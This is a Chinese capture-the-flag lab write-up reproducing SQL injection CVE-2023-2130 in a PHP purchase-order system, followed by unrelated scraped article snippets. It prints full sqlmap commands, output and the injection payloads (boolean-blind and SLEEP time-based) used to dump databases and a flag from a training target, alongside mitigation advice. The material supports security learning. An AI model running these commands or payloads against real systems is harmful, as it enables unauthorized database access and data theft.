SourceCodester v1.0 SQL 注入漏洞(CVE-2023-2130)

前言

CVE-2023-2130是一个影响SourceCodester Purchase Order Management System v1.0的SQL注入漏洞。此漏洞的存在是由于应用程序未能正确过滤和验证用户输入,使得攻击者可以通过SQL注入来执行任意SQL命令,从而对数据库进行未授权的访问和操作。

在利用此漏洞时,攻击者可以通过在输入字段中插入恶意SQL代码来实现以下目的:

  1. 获取敏感数据:例如用户凭证、个人信息等。
  2. 修改或删除数据:可以篡改数据库中的记录或删除数据。
  3. 执行管理操作:可能获取管理员权限并执行更高级别的操作。

此漏洞的严重性评级为9.8(CVSSv3),属于高危漏洞。为了缓解此漏洞,可以采取以下措施:

  1. 使用准备好的语句:通过使用准备好的语句和参数化查询,可以有效地防止SQL注入。
  2. 输入验证和过滤:对用户输入进行严格的验证和过滤,确保只允许合法的输入。
  3. 最小权限原则:数据库用户应仅具有执行其所需操作的最低权限,避免使用高权限账户执行日常操作。
  4. 安全编码实践:采用安全编码实践,如使用ORM(对象关系映射)框架来处理数据库操作,避免手动拼接SQL语句。

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台,旨在通过模拟真实的网络环境和攻击场景,提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点:

实战演练:

提供各种网络安全攻防演练场景,模拟真实的网络攻击事件,帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。
漏洞复现:

用户可以通过平台对已知的安全漏洞进行复现,了解漏洞的产生原因、利用方法和修复措施。
通过实战操作,帮助用户掌握漏洞利用和防护的技能。
教学培训:

提供系统化的网络安全课程,从基础到高级,覆盖多个安全领域,适合不同水平的用户。
包含理论讲解和实战操作,帮助学员全面提升网络安全知识和实战能力。
竞赛与评测:

定期举办网络安全竞赛,如CTF(Capture The Flag)比赛,激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测,帮助学员了解自己的安全技能水平。
资源共享:

平台提供丰富的学习资源,包括教程、工具、案例分析等,方便用户随时查阅和学习。
用户可以在社区中分享经验和资源,互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人,通过在平台上进行不断的学习和实战演练,可以有效提升网络安全技能和防护能力。

介绍

SourceCodester Purchase Order Management System v1.0 是一个基于Web的应用程序,设计用于简化和管理采购订单流程。该系统主要面向中小企业,以提高采购效率,减少手动处理错误,并保持采购记录的透明和可追踪性。

主要功能

  1. 用户管理

    • 系统允许管理员添加、编辑和删除用户账户,分配不同的权限级别,以确保只有授权用户才能访问和管理采购订单。
  2. 供应商管理

    • 用户可以添加和管理供应商信息,包括供应商名称、联系方式和地址。这有助于在采购订单创建时快速选择和联系供应商。
  3. 采购订单管理

    • 用户可以创建、编辑和查看采购订单。每个订单包括供应商信息、订单日期、交货日期、订单状态和详细的产品列表。
  4. 产品管理

    • 系统允许添加和管理产品信息,包括产品名称、描述、价格和库存数量。用户可以在创建采购订单时选择产品。
  5. 报告和记录

    • 提供详细的采购订单报告和历史记录,方便用户查看过去的订单记录和当前的订单状态。
  6. 通知系统

    • 系统可以发送通知,提醒用户处理新订单或更新订单状态。

技术栈

  • 前端:使用HTML、CSS和JavaScript构建,提供用户友好的界面。
  • 后端:基于PHP开发,处理业务逻辑和数据库操作。
  • 数据库:使用MySQL存储和管理数据,确保数据的持久性和完整性。

安装和运行

要安装和运行SourceCodester Purchase Order Management System v1.0,用户需要:

  1. Web服务器:如Apache或Nginx。
  2. PHP环境:确保服务器上安装和配置了PHP。
  3. 数据库:设置MySQL数据库并导入提供的数据库脚本。

优点

  • 简化采购流程:通过系统化管理,提高采购流程的效率和准确性。
  • 易于使用:直观的用户界面,使用户能够快速上手。
  • 灵活管理:支持多用户和权限管理,确保系统的安全性和灵活性。

SourceCodester Purchase Order Management System v1.0 是一个实用的工具,适合希望优化采购流程的企业和组织

漏洞复现

打开靶场

直接进入是需要登录的

访问漏洞页面如下

传送 id 参数试试

使用 SQLMap 爆库

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2zebwf1tlm02lf5jfsmh.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=2" --dbs   
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.4#stable}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:44:28 /2024-07-05/

[20:44:28] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=2807ae4e6fb...91fa107729'). Do you want to use those [Y/n] n
[20:44:30] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:44:30] [INFO] testing if the target URL content is stable
[20:44:30] [INFO] target URL content is stable
[20:44:30] [INFO] testing if GET parameter 'id' is dynamic
[20:44:31] [INFO] GET parameter 'id' appears to be dynamic
[20:44:31] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[20:44:31] [INFO] testing for SQL injection on GET parameter 'id'
[20:44:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[20:44:31] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable 
[20:44:33] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL' 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n
[20:44:34] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[20:44:34] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[20:44:34] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[20:44:35] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[20:44:35] [INFO] testing 'Generic inline queries'
[20:44:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[20:44:35] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[20:44:35] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[20:44:35] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[20:44:45] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[20:44:45] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[20:44:45] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[20:44:45] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[20:44:45] [INFO] target URL appears to have 8 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] n
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] n
[20:44:52] [WARNING] if UNION based SQL injection is not detected, please consider usage of option '--union-char' (e.g. '--union-char=1') and/or try to force the back-end DBMS (e.g. '--dbms=mysql') 
[20:44:53] [INFO] target URL appears to be UNION injectable with 8 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] n
[20:44:56] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 140 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2' AND 4461=4461 AND 'TVzr'='TVzr

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2' AND (SELECT 4095 FROM (SELECT(SLEEP(5)))HoPf) AND 'jALb'='jALb
---
[20:44:58] [INFO] the back-end DBMS is MySQL
web application technology: PHP, PHP 7.3.33
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[20:44:58] [INFO] fetching database names
[20:44:58] [INFO] fetching number of databases
[20:44:58] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[20:44:58] [INFO] retrieved: 4
[20:44:58] [INFO] retrieved: information_schema
[20:45:05] [INFO] retrieved: mysql
[20:45:07] [INFO] retrieved: performance_schema
[20:45:13] [INFO] retrieved: purchase_order_db
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] purchase_order_db

[20:45:19] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zebwf1tlm02lf5jfsmh.cloudeci1.ichunqiu.com'

爆表

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2zebwf1tlm02lf5jfsmh.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=2" -D "purchase_order_db" --tables
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.8.4#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:48:52 /2024-07-05/

[20:48:52] [INFO] resuming back-end DBMS 'mysql' 
[20:48:52] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=78d32b89ed9...f529d4ed65'). Do you want to use those [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2' AND 4461=4461 AND 'TVzr'='TVzr

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2' AND (SELECT 4095 FROM (SELECT(SLEEP(5)))HoPf) AND 'jALb'='jALb
---
[20:48:53] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.33, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[20:48:53] [INFO] fetching tables for database: 'purchase_order_db'
[20:48:53] [INFO] fetching number of tables for database 'purchase_order_db'
[20:48:53] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[20:48:53] [INFO] retrieved: 7
[20:48:54] [INFO] retrieved: item_list
[20:48:57] [INFO] retrieved: users
[20:48:59] [INFO] retrieved: supplier_list
[20:49:04] [INFO] retrieved: po_list
[20:49:07] [INFO] retrieved: system_info
[20:49:11] [INFO] retrieved: fllllaaaag
[20:49:16] [INFO] retrieved: order_items
Database: purchase_order_db
[7 tables]
+---------------+
| fllllaaaag    |
| item_list     |
| order_items   |
| po_list       |
| supplier_list |
| system_info   |
| users         |
+---------------+

[20:49:20] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zebwf1tlm02lf5jfsmh.cloudeci1.ichunqiu.com'

爆字段

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2zebwf1tlm02lf5jfsmh.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=2" -D "purchase_order_db" -T "fllllaaaag" --columns
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.8.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:50:10 /2024-07-05/

[20:50:11] [INFO] resuming back-end DBMS 'mysql' 
[20:50:11] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=4a6065bd9e1...c4ebe38f25'). Do you want to use those [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2' AND 4461=4461 AND 'TVzr'='TVzr

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2' AND (SELECT 4095 FROM (SELECT(SLEEP(5)))HoPf) AND 'jALb'='jALb
---
[20:50:12] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.33, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[20:50:12] [INFO] fetching columns for table 'fllllaaaag' in database 'purchase_order_db'
[20:50:12] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[20:50:12] [INFO] retrieved: 2
[20:50:13] [INFO] retrieved: id
[20:50:14] [INFO] retrieved: int(20)
[20:50:18] [INFO] retrieved: flag
[20:50:19] [INFO] retrieved: text
Database: purchase_order_db
Table: fllllaaaag
[2 columns]
+--------+---------+
| Column | Type    |
+--------+---------+
| flag   | text    |
| id     | int(20) |
+--------+---------+

[20:50:21] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zebwf1tlm02lf5jfsmh.cloudeci1.ichunqiu.com'

爆数据

┌──(root㉿kali)-[~]
└─# sqlmap -u "http://eci-2zebwf1tlm02lf5jfsmh.cloudeci1.ichunqiu.com/admin/suppliers/view_details.php?id=2" -D "purchase_order_db" -T "fllllaaaag" -C "flag" --dump
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.8.4#stable}
|_ -| . [']     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 20:50:39 /2024-07-05/

[20:50:40] [INFO] resuming back-end DBMS 'mysql' 
[20:50:40] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=c930771f176...8c2072b16f'). Do you want to use those [Y/n] n
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2' AND 4461=4461 AND 'TVzr'='TVzr

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2' AND (SELECT 4095 FROM (SELECT(SLEEP(5)))HoPf) AND 'jALb'='jALb
---
[20:50:41] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.33, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[20:50:41] [INFO] fetching entries of column(s) 'flag' for table 'fllllaaaag' in database 'purchase_order_db'
[20:50:41] [INFO] fetching number of column(s) 'flag' entries for table 'fllllaaaag' in database 'purchase_order_db'
[20:50:41] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[20:50:41] [INFO] retrieved: 1
[20:50:42] [INFO] retrieved: flag{fd914d13-e36b-42df-8b11-881ffdfa8d5e}
Database: purchase_order_db
Table: fllllaaaag
[1 entry]
+--------------------------------------------+
| flag                                       |
+--------------------------------------------+
| flag{fd914d13-e36b-42df-8b11-881ffdfa8d5e} |
+--------------------------------------------+

[20:51:00] [INFO] table 'purchase_order_db.fllllaaaag' dumped to CSV file '/root/.local/share/sqlmap/output/eci-2zebwf1tlm02lf5jfsmh.cloudeci1.ichunqiu.com/dump/purchase_order_db/fllllaaaag.csv'
[20:51:00] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/eci-2zebwf1tlm02lf5jfsmh.cloudeci1.ichunqiu.com'

[*] ending @ 20:51:00 /2024-07-05/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/843358.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

java学习--类方法和类方法

类变量 类中static变量会在类加载的时候创建,生存的地方在jdk版本8.0以后都是在堆中,之前都是在方法区,生成的空间不会随着新创建得对象一样变多,同一类的该static变量只会生成一个,每个新创建得对象可共享该变量 类方…

docker compose 容器 编排分组

遇到问题:执行docker compose up -d 后docker compose 创建的容器们 在desktop-docker 中都在docker下一堆 搜索想着能不能把这个docker名字改一下,但是都没有找到这样的一个方案; 最后发现,我执行docker compose up -d 命令所在…

我在百科荣创企业实践——简易函数信号发生器(5)

对于高职教师来说,必不可少的一个任务就是参加企业实践。这个暑假,本人也没闲着,报名参加了上海市电子信息类教师企业实践。7月8日到13日,有幸来到美丽的泉城济南,远离了上海的酷暑,走进了百科荣创科技发展有限公司。在这短短的一周时间里,我结合自己的教学经验和企业的…

前端三大主流框架Vue React Angular有何不同?

前端主流框架,Vue React Angular,大家可能都经常在使用,Vue React,国内用的较多,Angualr相对用的少一点。但是大家有思考过这三大框架的不同吗? 一、项目的选型上 中小型项目:Vue2、React居多…

昇思25天学习打卡营第23天 | 基于MindSpore的红酒分类实验

学习心得:基于MindSpore的红酒分类实验 在机器学习的学习路径中,理解和实践经典算法是非常重要的一步。最近我进行了一个有趣的实验,使用MindSpore框架实现了K近邻(KNN)算法进行红酒分类。这个实验不仅加深了我对KNN算…

layui 让table里的下拉框不被遮挡

记录:layui 让table里的下拉框不被遮挡 /* 这个是让table里的下拉框不被遮挡 */ .goods_table .layui-select-title,.goods_table .layui-select-title input{line-height: 28px;height: 28px; }.goods_table .layui-table-cell {overflow: visible !important; }.…

用DrissionPage过某里滑块分析

最近我又在找工作了,悲哀啊~,面试官给了一道题,要求如下: 爬虫机试:https://detail.1688.com/offer/643272204627.html 过该链接的滑动验证码,拿到正确的商品信息页html,提取出商品维度的信息&a…

详解SVN与Git相比存在的不足

原文全文详见个人博客: 详解SVN与Git相比存在的不足截至目前,我们已既从整理梳理的SVN和Git在设计理念上的差异,也重点对二者的存储原理和分支管理理念的差异进行深入分析。这些差异也直接造成了SVN和Git在分支合并、冲突解决、历史记录管理…

数据结构之二元查找树转有序双向链表详解与示例(C/C++)

文章目录 1. 二元查找树(BST)简介2. 有序双向链表(DLL)简介3. 二元查找树的实现4. 转换为有序双向链表的步骤5. C实现代码6. C实现代码7. 效率与空间复杂度比较8. 结论 在数据结构与算法中,树和链表都是非常重要的数据…

【Linux】进程间通信之-- 共享内存与信号量的介绍(下)

前言 上一篇,我们由进程间通信,引入并讲述了管道、匿名管道和命名管道,本节,将继续学习进程间通信的另一种方式之,共享内存。还要学习几个系统调用接口,并演示两个进程通过共享内存来进行通信。。。 目录 1…

WGS84经纬度坐标 GCJ02火星坐标 BD09百度坐标互相转换

WGS84经纬度坐标 GCJ02火星坐标 BD09百度坐标互相转换 背景:uniapp做的微信小程序,使用到了相机拍照并获取位置坐标信息;在腾讯地图上展示坐标点位置信息; 由于业务需要我们的PC端用的不是腾讯地图,需要使用WGS84坐标或…

Java二十三种设计模式-代理模式模式(8/23)

代理模式:为对象访问提供灵活的控制 引言 代理模式(Proxy Pattern)是一种结构型设计模式,它为其他对象提供一个代替或占位符,以控制对它的访问。 基础知识,java设计模式总体来说设计模式分为三大类&#…

【网络】socket和udp协议

socket 一、六个背景知识1、Q1:在进行网络通信时,是不是两台机器在进行通信?2、端口号3、端口号vs进程PID4、目的端口怎么跟客户端绑定的呢?也就是怎么通过目的端口去找到对应的进程的呢?5、我们的客户端,怎…

uniapp小程序上传pdf文件

<template><view class"mainInnBox"><view class"formBox"><!-- 注意&#xff0c;如果需要兼容微信小程序&#xff0c;最好通过setRules方法设置rules规则 --><u-form :model"form" ref"uForm" :rules&quo…

Window版本nginx修改文件访问句柄数被限制,解决大并发量访问时无法响应问题

目录 一、问题背景 二、问题分析 三、解决办法 一、问题背景 Windows版本因为文件访问句柄数被限制为1024了&#xff0c;当大并发量访问时就会无法响应。会有如下错误提示&#xff1a;maximum number of descriptors supported by select() is 1024 while connecting to ups…

C# 基础语法(一篇包学会的)

C#&#xff08;读作"C Sharp"&#xff09;是一种现代的、通用的面向对象编程语言&#xff0c;由微软公司开发。它结合了C和C的强大特性&#xff0c;并去掉了一些复杂性&#xff0c;使得开发者可以更加高效地编写代码。 一、入坑C# (一) 安装和设置 首先&#xff0c…

【LeetCode】从中序与后序遍历序列构造二叉树

目录 一、题目二、解法完整代码 一、题目 给定两个整数数组 inorder 和 postorder &#xff0c;其中 inorder 是二叉树的中序遍历&#xff0c; postorder 是同一棵树的后序遍历&#xff0c;请你构造并返回这颗 二叉树 。 示例 1: 输入&#xff1a;inorder [9,3,15,20,7], …

鸿蒙OpenHarmony Native API【Rawfile】

Rawfile Overview Description: 提供操作rawfile目录和rawfile文件的功能 提供操作rawfile目录和rawfile文件功能 功能包括遍历、打开、搜索、读取和关闭rawfile Since: 8 Version: 1.0 Summary Files File NameDescription[raw_dir.h]提供rawfile目录相关功能[raw…